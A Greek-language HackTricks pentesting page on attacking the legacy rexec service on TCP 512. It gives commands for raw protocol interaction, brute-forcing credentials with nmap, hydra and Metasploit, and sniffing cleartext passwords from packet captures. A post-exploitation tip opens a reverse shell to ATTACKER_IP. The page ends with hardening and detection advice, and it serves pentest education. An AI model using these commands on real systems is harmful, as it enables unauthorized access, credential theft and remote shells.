hacktricks/src/network-services-pentesting/512-pentesting-rexec.md

105 lines
7.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 512 - Pentesting Rexec
{{#include ../banners/hacktricks-training.md}}
## Basic Information
Rexec (remote **exec**) είναι μία από τις αρχικές υπηρεσίες *r*-services του Berkeley (μαζί με το `rlogin`, `rsh`, …). Παρέχει τη δυνατότητα **εκτέλεσης απομακρυσμένων εντολών** **με αυθεντικοποίηση μόνο με ένα όνομα χρήστη και κωδικό πρόσβασης σε καθαρό κείμενο**. Το πρωτόκολλο ορίστηκε στις αρχές της δεκαετίας του 1980 (βλ. RFC 1060) και σήμερα θεωρείται **ανασφαλές εκ του σχεδιασμού**. Παρ' όλα αυτά, είναι ακόμα ενεργοποιημένο από προεπιλογή σε ορισμένο κληρονομημένο εξοπλισμό UNIX / δικτυακά συνδεδεμένο και εμφανίζεται περιστασιακά κατά τη διάρκεια εσωτερικών pentests.
**Default Port:** TCP 512 (`exec`)
```
PORT STATE SERVICE
512/tcp open exec
```
> 🔥 Όλη η κίνηση συμπεριλαμβανομένων των διαπιστευτηρίων μεταδίδεται **χωρίς κρυπτογράφηση**. Οποιοσδήποτε έχει τη δυνατότητα να παρακολουθήσει το δίκτυο μπορεί να ανακτήσει το όνομα χρήστη, τον κωδικό πρόσβασης και την εντολή.
### Γρήγορη ματιά στο πρωτόκολλο
1. Ο πελάτης συνδέεται στο TCP 512.
2. Ο πελάτης στέλνει τρεις **NUL-τερματισμένες** συμβολοσειρές:
* τον αριθμό θύρας (ως ASCII) όπου επιθυμεί να λάβει stdout/stderr (συχνά `0`),
* το **όνομα χρήστη**,
* τον **κωδικό πρόσβασης**.
3. Στέλνεται μια τελική NUL-τερματισμένη συμβολοσειρά με την **εντολή** που πρέπει να εκτελεστεί.
4. Ο διακομιστής απαντά με ένα μόνο byte κατάστασης 8-bit (0 = επιτυχία, `1` = αποτυχία) ακολουθούμενο από την έξοδο της εντολής.
Αυτό σημαίνει ότι μπορείτε να αναπαραγάγετε την ανταλλαγή με τίποτα περισσότερο από `echo -e` και `nc`:
```bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
```
Αν τα διαπιστευτήρια είναι έγκυρα, θα λάβετε την έξοδο του `id` απευθείας πίσω στην ίδια σύνδεση.
### Χειροκίνητη χρήση με τον πελάτη
Πολλές διανομές Linux εξακολουθούν να περιλαμβάνουν τον παλιό πελάτη μέσα στο πακέτο **inetutils-rexec** / **rsh-client**:
```bash
rexec -l user -p password <target> "uname -a"
```
Αν το `-p` παραλειφθεί, ο πελάτης θα ζητήσει διαδραστικά τον κωδικό πρόσβασης (ορατός στο δίκτυο σε καθαρό κείμενο!).
---
## Αριθμητική & Βίαιη Διείσδυση
### [**Βίαιη Διείσδυση**](../generic-hacking/brute-force.md#rexec)
### Nmap
```bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
```
Το `rexec-brute` NSE χρησιμοποιεί το πρωτόκολλο που περιγράφηκε παραπάνω για να δοκιμάσει διαπιστευτήρια πολύ γρήγορα.
### Hydra / Medusa / Ncrack
```bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
```
`hydra` έχει ένα ειδικό **rexec** module και παραμένει ο ταχύτερος offline bruteforcer. `medusa` (`-M REXEC`) και `ncrack` (`rexec` module) μπορούν να χρησιμοποιηθούν με τον ίδιο τρόπο.
### Metasploit
```
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
```
Το module θα δημιουργήσει ένα shell σε περίπτωση επιτυχίας και θα αποθηκεύσει τα διαπιστευτήρια στη βάση δεδομένων.
---
## Sniffing credentials
Επειδή όλα είναι σε καθαρό κείμενο, **οι καταγραφές δικτύου είναι ανεκτίμητες**. Με ένα αντίγραφο της κίνησης μπορείτε να εξάγετε τα creds χωρίς να αγγίξετε τον στόχο:
```bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
```
(In Wireshark enable *Decode As …​* TCP 512 → REXEC για να δείτε τα πεδία με ωραία ανάλυση.)
---
## Συμβουλές Μετά την Εκμετάλλευση
* Οι εντολές εκτελούνται με τα δικαιώματα του παρεχόμενου χρήστη. Αν το `/etc/pam.d/rexec` είναι κακώς διαμορφωμένο (π.χ. `pam_rootok`), οι ρίζες μπορεί μερικές φορές να είναι δυνατές.
* Το Rexec αγνοεί το κέλυφος του χρήστη και εκτελεί την εντολή μέσω του `/bin/sh -c <cmd>`. Μπορείτε επομένως να χρησιμοποιήσετε τυπικά κόλπα διαφυγής κέλυφους (`;`, ``$( )``, backticks) για να αλυσσοδέσετε πολλές εντολές ή να δημιουργήσετε αντίστροφες ρίζες:
```bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
```
* Οι κωδικοί πρόσβασης συχνά αποθηκεύονται στο **~/.netrc** σε άλλα συστήματα. Αν παραβιάσετε έναν υπολογιστή, μπορεί να τους επαναχρησιμοποιήσετε για πλευρική κίνηση.
---
## Σκληροποίηση / Ανίχνευση
* **Μην εκθέτετε το rexec**; αντικαταστήστε το με SSH. Σχεδόν όλοι οι σύγχρονοι *inetd* superservers σχολιάζουν την υπηρεσία από προεπιλογή.
* Αν πρέπει να το διατηρήσετε, περιορίστε την πρόσβαση με TCP wrappers (`/etc/hosts.allow`) ή κανόνες τείχους προστασίας και επιβάλετε ισχυρούς κωδικούς πρόσβασης ανά λογαριασμό.
* Παρακολουθήστε την κίνηση προς το :512 και για εκκινήσεις διεργασιών `rexecd`. Μια μόνο σύλληψη πακέτου είναι αρκετή για να ανιχνεύσετε μια παραβίαση.
* Απενεργοποιήστε το `rexec`, `rlogin`, `rsh` μαζί μοιράζονται τις περισσότερες από τις ίδιες βάσεις κώδικα και αδυναμίες.
---
## Αναφορές
* Nmap NSE `rexec-brute` documentation [https://nmap.org/nsedoc/scripts/rexec-brute.html](https://nmap.org/nsedoc/scripts/rexec-brute.html)
* Rapid7 Metasploit module `auxiliary/scanner/rservices/rexec_login` [https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login](https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login)
{{#include ../banners/hacktricks-training.md}}